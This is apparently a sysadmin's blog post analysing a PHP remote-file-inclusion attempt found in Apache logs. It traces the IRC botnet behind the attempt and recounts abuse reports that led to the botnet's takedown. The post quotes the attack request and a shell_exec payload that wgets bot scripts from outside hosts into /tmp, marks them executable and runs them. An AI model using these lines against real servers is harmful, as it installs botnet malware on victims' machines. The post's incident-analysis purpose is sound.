Looking at your Apache logfiles can be fun. A lot of annoying people try
to do all kinds of crazy stuff. Today I noticed this GET request:
GET /p/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?
+ mosConfig_absolute_path=http://electrafusion.com/c.txt??
+ HTTP/1.1
Since I'm not a fan of PHP, chances are I don't have this file. And yup,
I was correct. I didn't have that file. But the URI in there made me curious.
What is that c.txt doing exactly?
<?
shell_exec('cd /tmp;wget http://electrafusion.com/botek.txt;
+ mv botek.txt .sessx;perl .sessx;rm botek.txt.*;
+ wget http://saids.com/a;chmod +x a;
+ mv a sess_vttn737j6k0mci66akhs5u1261;
+ ./sess_vttn737j6k0mci66akhs5u1261;
+ rm a*');
...
?>
Ah! Nice. Go to /tmp, download botek.txt from the same server (see below),
move that file to .sessx and execute it. Then delete the botek.txt file, get
yet another file (now from saids.com, but a non-existing file...) execute
that too and delete everything.
The script is a little longer, but basically it's trying various ways to
get and launch these additional files.
So what does botek.txt exactly do? It opens an IRC connection a
Bucharest.RO.EU.Ultra-Chat.Org. On that server (83.170.75.108),
it joins the channel #muie and starts listening for commands from
two nicknames (fazanul and Sorin ... our 1337 script
kiddie). This in fact
is rather dangerous. I doubt this botnet will be tremendously big,
yet of course this "über hacker" will keep a list of vulnerable
hosts. (To you system admins: check if your Savant2_Plugin_textarea.php
is vulnerable!).
I found a real easy way to get protected agains these a**h*les though. Just
login to the IRC server, join #muie with a nickname like MUIE|X|\d+ (where
\d+ is a random number ;-) and mock this script kiddie' Perl knowledge.
Call him script kiddie and they'll ban your IP within a minute. Woohoo!
Now my server is safe from them, for my server can't login to the channel ;)
Anyways, after spending some time in the channel, I noticed quite a few
of vulnerable hosts already as this picture shows:

Sad but true ...
So who's hosting these files?
$ host electrafusion.com
electrafusion.com has address 208.179.58.67
electrafusion.com mail is handled by 10 electrafusion.com.
$ gwhois 208.179.58.67
Process query: '208.179.58.67'
[...]
OrgName: Tierzero
OrgID: TIERZ
Address: 700 Wilshire Blvd.
Address: Suite 600
City: Los Angeles
StateProv: CA
PostalCode: 90017
Country: US
[...]
OrgTechHandle: TECHT-ARIN
OrgTechName: TECH-TIERZERO
OrgTechPhone: +1-213-284-0555
OrgTechEmail: ipnetworkops@tierzero.net
[...]
Start complaining! ;-) I already contacted TierZero, yet I haven't
received any replies, and the files are still online :-(
The most ironic thing about this script kiddie is actually the last
line of the botek.txt:
# NOTE: DONT REMOVE COPYRIGHTS
Update: TierZero did act on this
botnet now:
PING electrafusion.com (208.179.58.67): 56 data bytes
36 bytes from hoanet-gw.dcap1.lax.us.tierzero.net (208.179.32.130):
Communication prohibited by filter
Vr HL TOS Len ID Flg off TTL Pro cks Src Dst
4 5 00 5400 a156 0 0000 38 01 b149 xxx.xxx.xxx.xxx 208.179.58.67
--- electrafusion.com ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
Of course I had to tell this Sorin about this news and this is what
our conversation was like:
Sorin: w
... thinking I was a zombie, he wanted to see who was online
Me: hahaha where did electrafusion.com go? ;-P
Sorin: bitch
Update: As expected, the script kiddie
found a new webserver to download the bot scripts from:
http://www.depdiknas.go.id/c.txt
The domain resolves to 222.124.249.2, which
belongs
to TELKOMNET. abuse@telkom.net.id has been informed and hopefully will
respond fast.
I figured I'd also might be able to get the IRC server gone:
$ host Bucharest.RO.EU.Ultra-Chat.Org
Bucharest.RO.EU.Ultra-Chat.Org has address 83.170.75.108
$ gwhois 83.170.75.108
Process query: '83.170.75.108'
[...]
% Information related to '83.170.64.0 - 83.170.79.255'
inetnum: 83.170.64.0 - 83.170.79.255
netname: UK2-NET
descr: UK2.NET - UK's biggest host
country: GB
admin-c: BB963-RIPE
tech-c: BB963-RIPE
rev-srv: ns1.uk2.net
rev-srv: ns2.uk2.net
status: ASSIGNED PA
mnt-by: AS13213-MNT
source: RIPE # Filtered
[...]
This ISP has also been informed.
Update (2007/01/12):
The botnet seems to have crumbled! Woohoo!
$ lwp-request -m HEAD http://www.depdiknas.go.id/c.txt
403 Forbidden
[...]
Now that the initial script cannot be called anymore, let's see what we
have in our beloved #muie channel:

There's but 2 "users" in there (yes, antimuie is me ;-).
Even the fanazul and Sorin nicks are no longer logged in.
Victory!